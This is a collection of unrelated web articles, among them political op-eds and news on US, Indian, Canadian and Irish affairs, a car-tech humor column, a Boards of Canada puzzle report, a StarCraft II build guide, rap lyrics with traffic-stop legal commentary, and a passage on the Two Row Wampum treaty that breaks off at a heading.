As Santayana said, those who do not remember the past are condemned to repeat it. Less than two decades after socialism seemed to have been confined to the dust-heap of history, another generation may have to learn hard lessons.
The survey, taken at the end of January, found that 43 percent of Americans under 30 had a favorable view of socialism. Less than a third of millennials had a favorable view of capitalism. No other age or ethnic demographic preferred socialism over capitalism.
Seniors, unsurprisingly, had the most favorable view of capitalism. Just 23 percent of Americans older than 65 had a positive view of socialism. Sixty-three percent of seniors, though, had a favorable view of capitalism.
Seniors, after all, experienced the long-standing intellectual battle between capitalism and socialism played out in real life. They witnessed a post-war economic euphoria grind down into a socialist malaise, only to be reinvigorated by a global embrace of disruptive technology, deregulation, and global trade.
In the past 20 years, the number of people living in poverty worldwide has fallen by half. In 1990, 43 percent of the world’s population lived in extreme poverty. In 2013, the United Nations estimated that just 22 percent of the world’s population continued to live in extreme poverty.
“Never in history have the living conditions and prospects of so many people changed so dramatically and so fast,” the UN Human Development report said.
Even if millenials aren’t swayed by the dramatic improvement in worldwide living standards, one would hope they would see the benefits of capitalism in the products and services that inhabit their world.
They live, and thrive, in a consumer-driven, on-demand society. They have immediate access, at their fingertips, to more knowledge, art, music, and communication than the wealthiest oligarch just a few decades ago.
Each and every one of the products and services they use every day was developed by someone chasing profit and market-share. It is a cliche to say that capitalism has powered the technological and scientific innovations that have improved all our lives. Apparently, however, it is a cliche that bears repeating.
On a postive note, every other demographic block in America still prefers capitalism over socialism. Well, Democrats, perhaps naturally, are evenly split between the two economic systems. At least Democrats, though, have slightly higher unfavorable ratings of socialism than capitalism.
The danger, of course, is that the demographic in America that does prefer socialism is also the future of the country. Of course, they have the luxury of looking positively on socialism, since any impact on their lives is restricted to dusty history books.
The finding also presents something of an existential dilema for the conservative and libertarian movement. Since the 1980s, the institutional infrastructure of the conservative and libertarian movement has grown exponentially.
Aside from dozens of national think tanks and advocacy organizations devoted to propogating conservative and free market views, there are more than a hundred free-market think tanks in states across the country.
It is safe to say that billions of dollars have been spent over the past two decades promoting and educating the public on the benefits of capitalism and free markets. There are publishing imprints, media companies and new conservative news sites everywhere. Yet, something has gone horribly wrong.
Many in the commentariat have watched the rise of Bernie Sanders with a certain touch of condescending nostalgia. “Oh, look a socialist is running for President, isn’t that cute,” you can almost hear them type.
For many, Bernie’s label as a socialist was something he would have to overcome to make a serious run for the White House. It may now be, however, something he needs to more warmly embrace. |
On Friday’s Real Time with Bill Maher, political comedian and talk show host Bill Maher ripped into Donald Trump’s immigration plan and the Republican party overall. Maher defended his belief that many conservatives are “stupid and racist” and boldly stated that America doesn’t have an immigration problem.
“All the conservatives complain about me, and most liberals, that we are dismissive of conservatives. The rednecks, the tea party, we think they’re stupid and racist. And I say they are stupid and racist. Tell me what I should do in a week like this, where the unparalleled leader of the party, Donald Trump, unveiled a plan that is so stupid and racist and its not even addressing a problem that really exists, because there is not a real immigration problem in America, net immigration has been close to 0 for the last 7 or 8 years, and if his plan went into effect, lettuce would cost $25 a head. So, when the party is embracing him and that plan, what does a person like me, who’s tempted to say its stupid and racist, do?”
Panelist Charles Cooke, a conservative author, admitted Maher should “gloat to an extent” and even criticized Trump.
“I’ll say this. I don’t think he’ll be the nominee. I don’t think he’ll win a single primary. I do think he’s worrying. It’s worth saying he’s not like by 75-percent of the party, and the Republican’s have to decide, are they going to be party full of classical liberals, in the old sense of the word, who believe in freedom for everybody and opportunity for everybody. Or are they going to be the party of white identity politics, and Donald Trump unfortunately is tapping far more into the latter.”
Maher pointed out that other Republican candidates, like Ben Carson, are taking on Trump’s style.
“The other candidates are now trying to imitate him. They are trying to out Trump Trump. Ben Carson says he’d use drones on the Mexican border. I’m not kidding. He’d incinerate the mother f*ckers from the sky.”
Maher went on the lambast the Republican party as a whole.
“But is it fair to say that the Republican party in general gets involved in these fantasies about things that will never happen? None of what he’s proposing will ever happen, we are not going to deport 11 million people. The CBO says it would cost $300 billion, take 40 years and send us into a horrible recession. There’d be people outside Home Depot looking for work, but they’d be white.”
[Image via Getty Images] |
One argument against new housing in popular cities is the “induced demand” argument—the idea that new housing merely creates demand for more new housing, thus ultimately raising housing prices.
As journalist Tim Redmond argues: "When you build a new luxury housing complex, new residents move into it. For the most part, they result in net additions to the number of people in the city: If the person who buys a new condo moves out of a rental unit, someone else will move into that rental.…The people with high disposable incomes who fill those condos or luxury rentals will spend money in town, creating a demand for jobs – restaurant workers, grocery clerks, cops and firefighters, bank tellers…and those people will also need a place to live."
In other words, if the city permits 1,000 new housing units (other than government-subsidized housing, which is somehow exempt from this rule), dozens, or even hundreds, of people will magically appear from elsewhere in the United States to occupy those units. And the consumer spending of these new residents will create service-industry jobs, which in turn creates additional housing demand, thus raising housing prices. (Or in plain English: the only thing worse than new housing is new jobs.)
Why do I find this theory implausible? First, I find it hard to believe that a resident of a new apartment building has moved from Sacramento or Des Moines just because a new apartment was built in San Francisco; after all, when San Francisco adds a new building, Des Moines residents aren't likely to know of the building's existence, let alone move to San Francisco because of the new building.
It seems to me more probable that the new building's residents already lived in the city (or perhaps one of its suburbs). They might have been living with roommates, or in less desirable buildings in the city, or in suburbs that are also part of the region’s housing market. So it seems to me unlikely that new apartments create a significant number of new city residents—unless, of course, the apartments actually lower other buildings' rent enough to make city living more popular (in which case the entire "induced demand" argument is wrong, because new supply in fact lowers rents rather than raising them).
Second, the "induced demand" argument assumes that new affluent residents lead to new working-class residents. But even if the new residents spend enough money to create new working-class service jobs, it seems hard to believe that large numbers of people will move to high-cost San Francisco to be grocery clerks (unless labor demand is so high as to induce significant wage increases and thus make housing more affordable rather than less affordable). It seems more likely that these jobs will be filled by existing residents lured off the unemployment rolls, and that if urban housing prices are high, these residents will live in low-cost suburbs.
Third, "induced demand" doesn't fit the data. If new housing really increased prices, places that would allowed lots of new housing would consistently have higher prices, and thus the most affordable places would be places where new construction was virtually impossible. But in reality, it appears that places that build a lot of housing, and that impose fewer restrictions on building, seem to have lower housing prices—which is why some high-growth Sun Belt cities are less expensive than San Francisco. (See for example the graph of the bottom of this trulia.com post.)
Redmond cites a decade-old study prepared for the city's planning department. The study states (p. 7): "An underlying assumption of the study is that households that rent or purchase new units represent net new households in the city of San Francisco." In other words, induced demand is not a conclusion of the study, but an assumption of the study. If you assume that new buildings mean new residents, of course you will find that new housing means new demand for housing. In short, garbage in, garbage out.
Moreover, this study was hardly an impartial examination of evidence. Rather, it was a "nexus study"—that is, it was designed to show that there was a nexus between new housing and the need for inclusionary zoning. Why was the study necessary? Because, under state law,* if there is no reasonable relationship (or "nexus") between a development fee imposed by the city (such as inclusionary zoning) and the impact of development, the fee is illegal. So if the city's consultants had failed to find such a nexus, they would have found that the city’s program would be illegal—a result not conducive to the consultants getting hired in the future.
In sum, the old-fashioned conventional wisdom of economics stands—more supply still means lower prices, and less supply means higher prices.
*In particular, the study references California's Mitigation Fee Act. |
crime
Hyderabad Police on Saturday arrested an Uber cab driver for allegedly masturbating while ferrying a 25-year-old woman
Hyderabad Police on Saturday arrested an Uber cab driver for allegedly masturbating while ferrying a 25-year-old woman.
Representational Image
"The arrested accused Prem Kumar (26), is the owner and not the driver of the car. He was driving on that day as regular driver was not on duty," Deputy Commissioner of Police (DCP) P. Viswa Prasad told ANI.
As per the complaint, the woman boarded the cab around 7:00 am to board a flight from Hyderabad¿s Rajiv Gandhi International Airport to New Delhi. The driver slowed down the car on entering the Outer Ring Road, and the woman noticed him unzipping his pant and masturbating.
In the FIR, the complainant admitted to have felt digusted by the act, and yelled at him to stop the car. The driver, instead started to drive in a zig-zag manner. DCP informed that the accused checked on his behaviour only after the woman threatened him with Police complaint.
The woman however continued with the trip lest she should miss her flight, and later lodged a complaint at Safdarjung Police Station on October 19, after reaching Delhi.
Delhi Police forwarded the complaint to Hyderabad Police which took to action and tracked down the accused. DCP Prasad added that Uber did not respond to a mail sent by Commissioner of Police, regarding the case.
You may also like to read: BMC's legal notices to B-Town stars: SRK, Rani Mukherjee, Rishi Kapoor |
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From the August 2015 issue
Take a walk around an auto show and you’ll find that every car company wants to tell you about its great new in-car electronics, its apps, and its haptics. At the New York auto show, Jaguar gave a presentation on the system in the new XF, which, according to my notes, is called MeowConnect 10.5. It looks like a nice setup, and is surely a big improvement over the Pong console that powered the old system. The new XF will let you share your car’s navigation info, which sounds useful. That way you won’t keep getting texts that read: “ETA? The salmon’s getting cold and the gazpacho’s getting warm,” forcing you to reply, via speech-to-text, “You’re the one who wanted me to take this big promotion, Evalyn.” Which comes out as, “You won hippopotamus do-dah bug lotion, Ivan!” And you send it anyway, because what does it matter? Evalyn’s as frigid as that gazpacho was.
At the XF debut, Jag did two presentations—one for the car itself and one for ol’ HAL there in the dash. That speaks to the growing complexity of our automotive electronics—a given model might have a thick owner’s manual for the car and then an even thicker one for the TouchingMeTouchingYou 2.0 Digital User Interface System 2.1 (it got upgraded since you started reading this sentence). Dare I say that maybe we’re trying a little too hard with this stuff?
Consider CUE, Cadillac’s sleek-looking system. Not many people know this, but CUE is the reason that Cadillac moved to New York. They were actually just trying to move across the street, but they put the directions into CUE and the next thing you know: Hello, Big Apple! CUE is fun because it uses a motion sensor to change the screen as your hand approaches. No, I’m not making that up. CUE is like the guy reaching out to shake your hand and then yelling, “Psyche!” and slicking his hair back instead.
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Of course, you can avoid CUE’s mysterious runes and tremors by simply telling it what you want to do—a strategy proffered by many a car company as an alternative to recalcitrant in-dash systems. “Well, have you tried the voice commands?” No, I haven’t. I don’t care how good the software gets. I don’t even like talking to my friends. I definitely don’t want to talk to my car. Not even to boss it around.
Can a Jag find Paul Blart: Mall Cop 2? An Infiniti can.
Part of the problem, I suspect, is that carmakers indulge the temptation to cram in every feature that might theoretically have a moment of utility over a car’s life span. For example, I just tried Infiniti’s new InTouch system in the Q50S. Several menus down the infotainment rabbit hole, I had the car giving me movie times for Paul Blart: Mall Cop 2. A disclaimer at the bottom of the screen read, “Screening times displayed are not always up to date.” I suppose this function would be useful, if something happened to your phone—maybe you ran it over?—and you then had to use your car to find uncertain movie times. But in all likelihood, you would never miss this feature if you never had it, leaving your car and your life just a little bit simpler.
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Besides complication creep, the lead time inherent in car development means that in-dash electronics tend to be outdated the day a new model hits the lots. My own car is pretty up-to-the-moment on its driver-related electronics, including autonomous braking, radar-enhanced cruise control, and robo-parking. And yet, to load a wallpaper photo on the dash screen, you need to burn photo files onto a CD-R, which then disgorges them onto a hard drive buried somewhere in there. I thought it would be nice to surprise my wife with photos of the kids for Mother’s Day, and now two years later we’ve still got the same shots on rotation. My current laptop doesn’t even have a CD drive, presenting the possibility that the gallery on the screen now might become a permanent installation.
It delights me to think that in 15 or 20 years, my vehicle might be on a seedy used-car lot, a salesman yelling: “Hey, Bobby! Get over here! You know how to get da photos of deese here kids in da wheelbarrow off da dash screen?” And Bobby won’t know how to do that, because it looks like you need a CD or something, which is hilarious to him.
Now, lest you think I’m a grouchy technophobe, I’ll have you know that I like to Snapchat the Tinder on my Oculus Rift as much as the next guy. I completed both the original Super Mario Bros. and Super Mario Bros. 2, so it’s not like I have a problem navigating the mushrooms and sewer pipes of the digital world. But I don’t need very much of that in my car. You know what you need in a car? A radio and directions.
If I designed an infotainment system, that would be the name: Radio and Directions. Sure, I’d customize it for each company—Tunz ’n Turns by Scion!—but the idea would be the same. The nav system would just be a screen that mirrors whatever your phone is doing, while the stereo would look like a Marantz receiver and mirror whatever your phone is doing. Thus freeing you to pay attention to my awesome new app: I call it “driving.” |
The latest piece of the Board Of Canada puzzle falls into place.
The story so far: last weekend, a copy of a mysterious 12″ credited to Boards Of Canada, was found in New York record store Other Music, containing 20 seconds of music, a mysterious six digit number and cover art reading “—— / —— / —— / XXXXXX / —— / ——”. Other 12″ editions subsequntly cropped up across the globe, including London’s Rough Trade East, bearing the same number. Another clue was then reported to have emerged through YouTube , where a breadcrumb trail of private links and codes led to a cryptic video with another six digit code. BBC Radio 1 subsequently broadcast a third piece of the code, and NPR followed suit with a another new number (although the position of their six-digit number has yet to be placed on the keycode).
As BoC Pages report, the next clue has been hidden in the belly of the beast – the Boards Of Canada messageboards, where fans have spent the last week furiously hunting, parsing and arguing.
In the early hours of this morning, Boards Of Canada updated their official Youtube playlist, moving three Twoism-inspired videos to the top of the list. A user on the unofficial messagboard Twoism quickly spotted that one of the rotating banners on the unofficial message board Twoism had been altered from this:
To this:
The new image features a strange pattern, which corresponded with the previously spotted video above.
Another user subsequently opened the .gif banner in Notepad, revealing the following code:
,-Dy/ 0twb 7{H R689 a XEYE <g!:= b*! csch,hexagon sun,boc,hell interface,boards of canada,music70,boctransmission,hexagonsun,fyt,twoism http://snd.sc/11W7vpv http://snd.sc/11W726Q there is another… GIF89ai $##”!!! )))(((&&&%%%$$3222111000///…—,,,+++**?>>>===<<<;;;:::99988877766655544433UTTTSSSRRRQQNMMMLLLKKKJJJIIIHHHGGFEEEDDDCCCBBBAAA@@@??zyyyxxxwwwvvvuurqqqpppooonnnmmmllhgggfffeeedddcccbb`___^^^]]]\\\[[[ZZZYYVUU ~|||{{{uuussskkkjjjiiiaaaXXXWWWPPPOOOGGGFFF””” @->d $z8 |bHF k<p. Ff`Y
The above led to two private Soundcloud links (here and here) on what looks like an official BoC’s account, both of which feature music buried under distortion. When combined, the tracks resemble the snippets already dug up across the world so far, and include a new number 628315. Pasting the code from “GIF89a” onwards into a hex editor reveals this image, which confirms the placement of the number.
So, current state of play is: —— / 628315 / 717228 / 936557 / —— / 519225. The unplaced NPR code is 699742.
Intriguingly, having uploaded the links into a text editor, the following was revealed which revealed,which looks liks a Mac source folder:
RIFFX WAVEfmt bextZ RPP:/Volumes/graphics/Boc Graphics/Record Sleeves/Cosecha Teaser/TH Cosecha Numbers Station Trail/Cosecha Clue 2 for fans/Cosecha Clue 2 for fans.RPP REAPER lumes/graphics/Boc Graphi 2013-04-2522-10-33 junkJ data `#Y
Note that the file includes the phrase “Cosecha clue”, which some are reasonably inferring could be the title of a new track or album.
For the full background to the BoC Easter Egg hunt, head here. |
This article may be outdated due to metagame or patch changes. Help us by revising it.
e ][ h Cauthon Build Strategy Information Matchups: TvZ Type: Opening Creator: CauthonLuck Popularized by: CauthonLuck
Overview [ edit ]
The 111 Tech Banshee rush is aimed at catching the Zerg off-guard with very early Banshees. It also hard counters mass Roach and most FE Zerg builds.
Basic Build Order [ edit ]
Have 2 or 3 Marines ready by the time your Starport finishes in order to defend against early Zergling/Roach rushes and Overlords. If the Barracks/Factory Wall is not enough to block your choke point completely, (which is absolutely essential), use your Starport to close it up completely. If a small space is left open in your choke point, a Zergling rush could prove devastating. When your Supply Depot finishes, start pumping Banshees and resume SCV production.
You can build the Tech Lab add-on via the Factory while the Starport is in production. If your are on a large map such as Tal'Darim Altar it is possible to proxy the Starport. Doing this will mean slower production for the first Banshee (as you have to build the Tech Lab)however this will be countered by the closer flight path as well as reduced times on all subsequent Banshees.
The Attack [ edit ]
Start the harass as soon as possible. Banshee wins 1v1 with a Queen. Banshees win 2v1 with a Spore Crawler. The point of this build is to damage the Zerg to the point of losing, or severely enough that you can expand and transition. If you scout 1 base Lair, stop producing Banshees and begin the transition into another build (see below).
Transitioning [ edit ]
If you do not win outright with this build, you have a few options:
vs 1 base Lair, you can toss down 2 more Barracks and switch to a standard 3 Barracks build.
vs fast expand into fast Lair, throw down more Refineries and another Factory with Tech Lab and begin Thor+Hellion production.
vs fast expand with a second Queen or army production, (coming soon)
If you see early gas with a Baneling Nest, throw up a Bunker by the weakest part of your wall and begin producing Marines,as a Baneling bust is coming.
Countering [ edit ]
2-3 Spore Crawlers with good positioning can hold off Banshees (or kill them outright) and still allows fast Baneling bust if the Terran wall uses Supply Depots or the Tech Lab
Map Specific Notes [ edit ]
This build is extremely weak on Scrap Station due to the very short aerial path Overlords can take to scout it. In addition to the large ramp, a Zergling or Speedling run-by will easily shred this build.
On Blistering Sands, this build can be tricky. You must sacrifice some econ until you plant the Supply Depot in order to keep an eye on the rocks, which can throw off the timing of the build.
On Metalopolis, if the Zerg does not take his natural, Banshees will have easy access to the mineral line.
This works well in 2v2 matches well enough as long as you're not playing on Twilight Fortress, which has a huge ramp and is commonly plagued by double-rush strategies.
Despite the short Overlord scout path, Desert Oasis is a strong map for this build due to the huge ground path and small chokes.
Videos [ edit ]
Notes [ edit ]
As of patch 1.1.2 this build is no longer as effective, although it still works, as a Supply Depot is required to be built before a Barracks can begin construction. |
The year is ninety-four, in my trunk is raw
In my rear-view mirror is the motherfuckin' law
Got two choices y'all, pull over the car or (hmm)
bounce on the Devil, put the pedal to the floor
And I ain't tryin' to see no highway chase with Jake
Plus I got a few dollars, I can fight the case
So I, pull over to the side of the road
"Son, do you know why I'm stoppin' you for?"
Cause I'm young and I'm black and my hat's real low
Or do I look like a mindreader, sir? I don't know
Am I under arrest or should I guess some more?
"Well you was doin fifty-five in the fifty-four;
license and registration and step out of the car --
are you carryin a weapon on you? I know a lot of you are"
I ain't steppin out of shit, all my papers legit
"Well do you mind if I look around the car a little bit?"
Well my glove compartment is locked, so is the trunk in the back
And I know my rights, so you gon' need a warrant for that
"Aren't you sharp as a tack! You some type of lawyer or somethin, somebody important or somethin?"
Child I ain't passed the bar, but I know a little bit
Enough that you won't illegally search my shit
"Well we'll see how smart you are when the canine comes"
I got 99 problems, but a bitch ain't one
Hit me!
Fairly valid, although it depends on the state; I'm not familiar with the laws of 1994, and the location is unspecified, but from the video, possibly Brooklyn, NY.Here's my take on the song:Not running from the police seems like excellent advice.In general, not volunteering information at a traffic stop is great advice.Unless the cop can testify to reasonable suspicion [RS] that the defendant is armed -- in which case he can search the driver and immediate vicinity for weapons for self protection -- you shouldn't need to get out of the car. Pushing back on this makes sense, if only to ensure whatever RS grounds would be documented, so they can get the case thrown out later. If the RS was invalid or not present, all evidence coming after that is "fruit of the poisoned tree" and discarded.Consenting to a voluntary search is never a good idea, especially if you have felony weight on you. The standard to search the glove compartment is actually fairly low in California, since it's accessible to the driver. Even though it is locked, the tenth circuit court of appeals has found that during a protective search of the vehicle (i.e., looking for weapons with RS), the glove box can be searched since it being locked may not prevent the driver from gaining control of a weapon. (1) The trunk can be opened if the car is impounded, for inventory reasons, which is a common way to get evidence. However, a locked case inside the trunk will not be opened (depends on the state).A canine can only be used during a routine traffic stop if it doesn't unduly delay the driver -- it's reasonable to walk back to your cruiser to get a dog, but you can't wait to call one in. This all goes out the window if reasonable suspicion is developed.(1) US v. Palmer, 360 F. 3d 1243 - Court of Appeals, 10th Circuit 2004 |
US President Barack Obama along with Vice-President Joe Biden and several of their government officials are all set for a high-level engagement with the Indian leadership in a series of meetings later this month. This would be the highest level of engagement between the two countries after Obama's trip to New Delhi in January to attend the Republic Day parade as the chief guest of Prime Minister Narendra Modi.
Obama and Modi are expected to meet in New York on September 28. While no official announcement has been made yet, the proposed meeting itself is a reflection of the seriousness and commitment of the two leaders to this bilateral relationship.
On a day, which is said to be one of the busiest days for the US President given his address to the UN General Assembly on the first day of the annual session, Obama's schedulers had a tough time finding a slot for his meeting with Modi.
Modi, on the other hand, is likely to take an overnight flight to New York in his Air India One from Silicon Valley on September 27 after addressing the Indian-Americans in San Jose for his likely meeting with Obama.
Notably, in their joint statement in January, the two leaders had committed themselves for a more regular meeting. The Modi-Obama meeting in New York would cap more than a week of high-level India-US engagement, most of which would be held in capital Washington DC.
It is learnt that Vice-President Biden is himself keen to be part of this highest level of India-US engagement. It was Biden who, during his visit to India a few years ago, had set the ambitious goal of increasing the bilateral trade from the current USD 100 billion to USD 500 billion per annum.
It is in this backdrop that Biden has been seen taking a lead once again when it comes to the economic dimension of the India US relationship. Several cabinet ranking officials along with corporate leaders from both the countries are expected to be present at the 40th Anniversary Leadership Summit of the US-India Business Council (USIBC) on September 21.
Among others, it would be attended by Energy Minister Piyush Goyal and Commerce Minister Nirmala Sitharaman and US Commerce Secretary Penny Pritzeker along with who's who of corporate leaders from the two countries. The next day, TERI North America would host the 6th India-US Energy Partnership Summit.
However, it is the first ever India-US Strategic and Economic Dialogue to be hosted by Secretary of State John Kerry that will be the center of attraction when Modi is in the US. While the dates of this dialogue has not been announced yet, it is most likely to be held on September 22. The decision to expand India-US Strategic Dialogue to Commercial one was taken during Obama's January visit to India.
Kerry along with Pritzeker would lead the US delegation, while the Indian delegation would be led by External Affairs Minister Sushma Swaraj and Sitharaman. Foreign Secretary S Jaishankar will also expected to be part of the Indian delegation. Indian Ambassador to the US Arun K Singh and his American counterpart in India Richard Verma would also be part of their respective terms. |
President Donald Trump, who spoke at a closed-press fundraiser in Greensboro, did not pinpoint any lawmakers for criticism. | Saul Loeb/AFP/Getty Images Trump vents to wealthy donors about failure to repeal Obamacare
President Donald Trump told a gathering of wealthy donors in North Carolina on Saturday evening that he is determined to push forward on health care reform — but acknowledged that he is facing serious obstacles in doing so.
At a time of widespread frustration in the Republican Party about its repeated failure to repeal Obamacare, the president said he wants to restart the talks. But, according to two people present for the remarks, he underscored the challenges of getting a majority of support for any legislation in the Senate, noting that a small group of GOP holdouts opposed the repeal efforts.
Story Continued Below
The president walked the group through what had been attempted so far. No matter how you approached it, Trump said, getting to the 50-vote threshold was tough.
Trump, appearing at the Greensboro home of Republican Party donor Louis DeJoy, did not pinpoint any lawmakers for criticism, as he has done previously with Arizona Sen. John McCain and Kentucky Sen. Rand Paul, both of whom have balked at getting behind the specific repeal efforts. Trump also chose not to attack Senate Majority Leader Mitch McConnell, another past target of his frustration, the two attendees said.
POLITICO Pulse newsletter Get the latest on the health care fight, every weekday morning — in your inbox. Email Sign Up By signing up you agree to receive email newsletters or alerts from POLITICO. You can unsubscribe at any time.
The White House didn’t respond to a request for comment.
Trump touched on a variety of topics during the fundraiser, including the looming fight over tax reform, his past experiences on the campaign trail, and hurricane relief efforts. At one point, the president attacked the media for his recent trip to Puerto Rico, expressing frustration over its coverage of him tossing paper towels, basketball-style, to storm victims.
But he spent much of the evening discussing health care reform. Several people in attendance said the president did not rule out the possibility of working with Democrats to get something done.
Trump earlier on Saturday had tweeted that he had called Senate Minority Leader Chuck Schumer on Friday to see whether Democrats wanted to work together on “a great HealthCareBill.” Schumer later said in a statement that Trump had suggested another Obamacare repeal-and-replace effort, a non-starter for Democrats.
The issue is a sensitive one for Republican Party donors, many of whom spent the past eight years cutting checks to the GOP in hopes of repealing Obamacare. Some influential contributors have said they will not open their wallets until the party passes something.
The North Carolina event raised about $2 million for the Republican National Committee and Trump’s reelection efforts. It drew a number of prominent GOP figures in the state, including former North Carolina Gov. Pat McCrory. |
Karolyn Coorsh, CTVNews.ca
As a sweeping anti-terrorism bill winds its way through Parliament, former prime ministers and former Supreme Court judges are expressing concerns that Canada’s security agencies don’t have adequate checks and balances.
Last week, Parliamentarians debated Bill C-51, which gives more sweeping investigative powers to Canada’s security agencies, including the Canadian Security Intelligence Service.
Opposition Leader Tom Mulcair said last week that the NDP will not support the legislation, calling it “dangerous” and “over-reaching.”
The NDP are not the only ones concerned that the legislation does not boost oversight of Canada’s spy agency.
In an open letter published last week by The Globe and Mail, former prime ministers Joe Clark, Jean Chretien, John Turner and Paul Martin called for more accountability and independent oversight for the country’s security agencies.
The prime ministers said that a “lack of a robust and integrated accountability regime” makes it difficult to “meaningfully assess the efficacy and legality” of the country’s security activities. This absence, they said, could ultimately lead to problems around public safety and human rights.
Former Supreme Court Justice John Major, one of the letter’s signatories, told CTV’s Question Period that he’s “puzzled” at the government’s “reluctance” to ensure oversight.
“When we speak of oversight, I don’t think any of us think the agencies are going to deliberately extend their reach. But the fact is they have a job to do, they think it’s important, they get over-enthusiastic when they think they’re hot on the trail of something, and it’s very easy to slip over the edge,” Major said. “We’ve seen it with police forces, we’ve seen it in the past with CSIS.”
Speaking on Question Period, Defence Minister Jason Kenney said that the government is providing protection to civil liberties by ensuring that the additional powers being proposed are vested in the courts.
“The security agencies can go and obtain orders to interrupt potential terrorist activities, to detain a suspected terrorist for up to seven days, but they can’t do it on their own, it requires the approval of a judge,” Kenney said.
However, Major says there is little worry about procedures where warrants must be granted by a judge.
“There’s a wide range that these agencies, day-to-day, are engaged in, and it’s that part of their activities that’s outside courts and provisions that draws some concern,” Major said.
Critics are also asking why government doesn’t implement parliamentary oversight, similar to U.S., U.K. and Australian systems. Kenney said that the Conservatives feel a “non-political approach” is more appropriate.
“And that’s what governments before have felt as well,” Kenney said. “That an objective, independent group of experts that are not part of Parliament or politics should be taking a look at the operations of CSIS.”
Former Supreme Court Justice Michel Bastarache, who also added his name to the open letter, says there are models that experts feel are superior to Canada’s system.
“I think what we’re saying is, why not examine what we have in light of what exists elsewhere and see whether we have the best system possible to ensure confidence of the public in the system, but also the image of Canada throughout the world,” Bastarache told Question Period. |
The treatment of hundreds of patients with hepatitis C with potentially lifesaving drugs has been abruptly halted due to funding problems.
The national hepatitis C programme has told hospitals not to make any further applications for funding support for patients until treatment numbers are “realigned”.
Just six months into the year, the €30 million allocated by the Government to the programme is virtually spent and treating doctors have been told that only their sickest patients will be approved this year. The programme manager said the new arrangements are interim.
The freeze on funding is being blamed, in internal correspondence seen by The Irish Times, on a “significantly increased and unpredicted” number of claims for reimbursement for hepatitis C treatment in June.
Reimbursement claims for June alone reached €10 million, up from €3 million in January and February.
No further applications for funding are being considered and no further patients will be started on treatment, according to a note to specialists by Michele Tait, the manager of the programme. The measures will also affect patients whose treatment is approved but has not yet started.
More than 600 registered patients, whose treatment has not started, are affected, but doctors say hundreds more have been diagnosed recently and will also be affected. Some have severe cirrhosis of the liver and could die unless they receive treatment or a transplant.
Ms Tait says the new arrangements are interim, and designed to ensure the programme operates within budget and that clinical effectiveness is maintained.
“The rug was pulled from under the feet of some of our clients from one day to the next,” says Nicola Perry, manager of Community Response, an alcohol and liver health service in Dublin’s south inner city. “They are angry, and disheartened. People living with addiction often feel disenfranchised by the rest of society, and this showed that, once again, they don’t matter.”
Seriously ill
The freeze has caused concern among doctors treating hepatitis C patients, many of whom are seriously ill and had been given dates for treatment. They were forced to turn away patients who turned up at a scheduled appointment for their treatment.
Dr Orla Crosbie, a gastroenterologist in Cork University Hospital, warned Ms Tait that many of her patients may deteriorate while awaiting therapy. Her patients include a health worker who acquired hepatitis C through a needle stick injury and patients with cirrhotic livers. “Several have been given dates to start therapy, with many changing drugs. Many have made work and care commitments for children to facilitate therapy in the autumn.”
The HSE confirmed new applications were not being taken at present due to an “unprecedented volume of patients being commenced on treatment in May and June”. The programme must operate within its budget, it said.
The realignment of the programme will be concluded within weeks after which new patients prioritised by their doctors will start treatment, a spokeswoman said.
About 30,000 people are living with hepatitis C in Ireland. Most acquired the disease through injecting drugs but 1,300 were infected by contaminated blood products provided by the State.
In recent years, newly developed anti-viral drugs have transformed the treatment of the disease, with cure rates of up to 90 per cent . Prices have dropped as generic versions have come on the market, but treatment still costs more than €20,000 a patient.
Ms Tait says the restrictions would remain in place “until such time as the programme is fully informed on the funding and therefore volume of treatment which is available to the year end”. |
The Two Row Wampum is one of the oldest treaty relationships between the Onkwehonweh original people of Turtle Island North America and European immigrants. The treaty was made in 1613
Andy Mager, Hickory Edwards, Netherlands Consul Rob de Vos, Chief Jake Edwards and Faithkeeper Oren Lyons reaffirm the Two Row treaty
The Two Row Wampum Treaty, also known as Guswenta or Kaswentha and as the Tawagonshi Agreement of 1613 or the Tawagonshi Treaty, is a mutual treaty agreement, made in 1613 between representatives of the Five Nations of the Iroquois (Haudenosaunee) and representatives of the Dutch government in what is now upstate New York.[1] The agreement is considered by the Haudenosaunee to be the basis of all of their subsequent treaties with European and North American governments, and the citizens of those nations, including the Covenant Chain treaty with the British in 1677 and the Treaty of Canandaigua with the United States in 1794.
The treaty is spiritually and culturally revered and widely accepted among the Indigenous peoples in the relevant territories, and documented by the wampum belts and oral tradition.[1] However, in more recent years the authenticity of the later, written versions of the agreement have been a source of debate, with some scholarly sources maintaining that a treaty between the Dutch and Kanien'kehá:ka (Mohawk Nation) did not take place or took place at a later date.[2][3][4][5][6][7][8][9] In August 2013, the Journal of Early American History published a special issue dedicated to exploring the Two Row Tradition.[10]
Background [ edit ]
At the start of the 17th century, the Iroquois Mohawk and the Mahican territory abutted in what is now known as the mid-Hudson Valley. Soon after Henry Hudson's 1609 exploration of what is now known as the Hudson River and its estuary, traders from the United Provinces of the Netherlands set up factorijs (trading posts) to engage in the fur trade, exploiting for extractive purposes the trade networks that had existed for millennia. The Dutch traded with the indigenous populations to supply fur pelts particularly from beaver, which were abundant in the region. By 1614, the New Netherland Company was established and Fort Nassau was built, setting the stage for the development of the colony of New Netherland.[11]
Kaswentha [ edit ]
According to Jon Parmenter:[12]
Kaswentha may best be understood as a Haudenosaunee term embodying the ongoing negotiation of their relationship to European colonizers and their descendants; the underlying concept of kaswentha emphasizes the distinct identity of the two peoples and a mutual engagement to coexist in peace without interference in the affairs of the other. The Two Row Belt, as it is commonly known, depicts the kaswentha relationship in visual form via a long beaded belt of white wampum with two parallel lines of purple wampum along its length – the lines symbolizing a separate-but-equal relationship between two entities based on mutual benefit and mutual respect for each party’s inherent freedom of movement – neither side may attempt to "steer" the vessel of the other as it travels along its own, self-determined path. A nineteenth-century French dictionary of the Mohawk language defined the very word for wampum belt (kahionni) as a human-made symbol emulating a river, due in part to its linear form and in part to the way in which its constituent shell beads resemble ripples and waves. Just as a navigable water course facilitates mutual relations between nations, thus does kahionni, "the river formed by the hand of man", serve as a sign of "alliance, concord, and friendship" that links "divergent spirits" and provides a "bond between hearts".
The treaty [ edit ]
